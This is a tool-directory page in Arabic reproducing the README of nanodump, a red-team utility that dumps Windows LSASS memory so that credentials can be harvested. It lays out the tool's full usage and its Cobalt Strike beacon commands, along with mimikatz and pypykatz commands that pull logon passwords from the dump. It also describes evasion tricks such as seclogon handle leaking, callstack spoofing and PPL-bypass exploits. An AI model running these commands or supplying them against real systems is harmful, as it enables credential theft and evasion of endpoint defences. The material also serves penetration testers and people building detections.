Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
nanodump — سكين الجيش السويسري لـ LSASS dumping | Kitploit
أدوات/GitHubGitHub/fortra/nanodump
تصعيد الامتيازاتتحليل الذاكرة الجنائيالاستغلالما بعد الاستغلالاختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubfortra/nanodump

nanodump

سكين الجيش السويسري لـ LSASS dumping

عرض المستودع
2.1k27229منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

NanoDump

أداة مرنة تقوم بإنشاء minidump لعملية LSASS.

screenshot

جدول المحتويات

  1. الاستخدام
  2. الميزات
  3. الجمع بين التقنيات
  4. الأمثلة
  5. معيدات التوجيه HTTPS

1. الاستخدام

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

الاستنساخ

git clone https://github.com/fortra/nanodump.git

التجميع (اختياري)

على Linux باستخدام MinGW

make -f Makefile.mingw

على Windows باستخدام MSVC (لا يدعم BOF)

nmake -f Makefile.msvc

الاستيراد (CobaltStrike فقط)

قم باستيراد البرنامج النصي NanoDump.cna على Cobalt Strike.

التشغيل

قم بتشغيل الأمر nanodump في وحدة التحكم Beacon أو الملف الثنائي nanodump.x64.exe.

استعادة التوقيع

إذا لم تحدد العلامة --valid، فستحتاج إلى استعادة التوقيع غير الصالح

scripts/restore_signature <dumpfile>

الحصول على الأسرار

mimikatz:
للحصول على الأسرار، قم بتشغيل:

mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
إذا كنت تفضل البقاء على Linux، يمكنك استخدام نسخة python3 من mimikatz المسماة pypykatz:

python3 -m pypykatz lsa minidump <dumpfie>

2. الميزات

انشقاق العملية

لتجنب فتح مقبض (handle) إلى LSASS باستخدام PROCESS_VM_READ، يمكنك استخدام المعامل --fork.
سيؤدي هذا إلى جعل nanodump ينشئ مقبضًا إلى LSASS بصلاحية PROCESS_CREATE_PROCESS ثم يقوم بإنشاء 'نسخة' من العملية. سيتم بعد ذلك تفريغ (dump) هذه العملية الجديدة. بينما سيؤدي هذا إلى إنشاء عملية وحذفها، فإنه يلغي الحاجة إلى قراءة LSASS مباشرة.

اللقطة

على غرار خيار --fork، يمكنك استخدام --snapshot لإنشاء لقطة (snapshot) من عملية LSASS.
سيؤدي هذا إلى جعل nanodump ينشئ مقبضًا إلى LSASS بصلاحية PROCESS_CREATE_PROCESS ثم يقوم بإنشاء لقطة للعملية باستخدام PssNtCaptureSnapshot. سيتم بعد ذلك تفريغ هذه العملية الجديدة. سيتم تحرير اللقطة تلقائيًا عند الانتهاء.

ازدواجية المقبض

نظرًا لأن فتح مقبض إلى LSASS يمكن اكتشافه، يمكن لـ nanodump بدلاً من ذلك البحث عن مقابض موجودة بالفعل لـ LSASS.
إذا تم العثور على واحد، فسوف يقوم بنسخه واستخدامه لإنشاء minidump.
لاحظ أنه ليس مضمونًا العثور على مثل هذا المقبض.

رفع صلاحية المقبض

يمكنك الحصول على مقبض إلى LSASS مع PROCESS_QUERY_LIMITED_INFORMATION، والذي من المحتمل أن يكون مدرجًا في القائمة البيضاء، ثم رفع صلاحية ذلك المقبض عن طريق ازدواجه.

تسرب مقبض seclogon محليًا

لتجنب فتح مقبض إلى LSASS، يمكنك إساءة استخدام خدمة seclogon عن طريق استدعاء CreateProcessWithLogonW لتسريب مقبض LSASS إلى الملف الثنائي nanodump.
لتمكين هذه الميزة، استخدم المعامل --seclogon-leak-local.
ضع في اعتبارك أنه عند الاستخدام من Cobalt Strike، يجب كتابة ملف ثنائي nanodump غير موقع على القرص لاستخدام هذه الميزة.

تسرب مقبض seclogon عن بعد

هذه التقنية مشابهة جدًا للتقنية السابقة، ولكن بدلاً من تسريب المقبض إلى nanodump، يتم تسريبه إلى ملف ثنائي آخر ثم ازدواجه حتى يتمكن nanodump من استخدامه. استخدم العلامة --seclogon-leak-remote للوصول إلى هذه الوظيفة.

ازدواجية مقبض seclogon

يمكنك خداع عملية seclogon لفتح مقبض إلى LSASS وازدواجه قبل إغلاقه، وذلك بالفوز بسباق حالة باستخدام أقفال الملفات. استخدم العلامة --seclogon-duplicate للوصول إلى هذه الوظيفة.

تحميل nanodump كـ SSP

يمكنك تحميل nanodump كـ SSP في LSASS لتجنب فتح مقبض.
عندما يتم تحميل DLL في LSASS، سيتم تمرير المعلمات عبر named pipe وبمجرد اكتمال التفريغ، سيعيد DllMain القيمة FALSE لجعل LSASS يقوم بإلغاء تحميل DLL النانودمب.
يمكنك تضمين المعلمات بشكل ثابت (hardcode) في DLL وتجنب استخدام named pipe تمامًا باستخدام علامة المترجم PASS_PARAMS_VIA_NAMED_PIPES=0.

رفع وتحميل DLL لـ nanodump

افتراضيًا، سيتم رفع DLL غير موقع لـ nanodump إلى مجلد Temp وسيتم حذفه تلقائيًا.

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

إذا كنت ترغب في تحميل DLL موجود مسبقًا، يمكنك تشغيل:

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

استغلال PPL Dump

إذا كان LSASS يعمل كعملية محمية خفيفة (PPL)، يمكنك محاولة تجاوزها باستخدام استغلال (exploit) على مستوى المستخدم اكتشفه Project Zero. إذا كان ناجحًا، سيتم كتابة التفريغ على القرص.

لاحظ أن هذه الثغرة قد تم إصلاحها في حزمة تحديث يوليو 2022 (Windows 10 21H2 Build 19044.1826)

للوصول إلى هذه الميزة، استخدم الأمر nanodump_ppl_dump

beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

استغلال PPL Medic

يقوم Nanodump أيضًا بتنفيذ استغلال PPLMedic، الذي يعمل على الأنظمة التي تحتوي على حزمة تحديث يوليو 2022.
سيتم تمرير المعلمات إلى DLL النانودمب عبر named pipe. يمكنك تضمين المعلمات بشكل ثابت في DLL وتجنب استخدام named pipe تمامًا باستخدام علامة المترجم PASS_PARAMS_VIA_NAMED_PIPES=0.

للوصول إلى هذه الميزة، استخدم الأمر nanodump_ppl_medic

beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

يمكنك إجبار عملية WerFault.exe على إنشاء تفريغ ذاكرة كامل لـ LSASS. ضع في اعتبارك أن هذا يتطلب القدرة على الكتابة إلى السجل (registry)

نظرًا لأن التفريغ لا يتم بواسطة nanodump، فسيكون له دائمًا توقيع صالح.

خروج العملية الصامت (Silent Process Exit)

لاستخدام تقنية خروج العملية الصامت، استخدم المعامل --silent-process-exit والمسار الذي يجب إنشاء التفريغ فيه.

beacon> nanodump --silent-process-exit C:\Windows\Temp\

سيتم أيضًا إنشاء تفريغ لعملية nanodump، مشابه لهذا:

PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp
تنزيل الأداة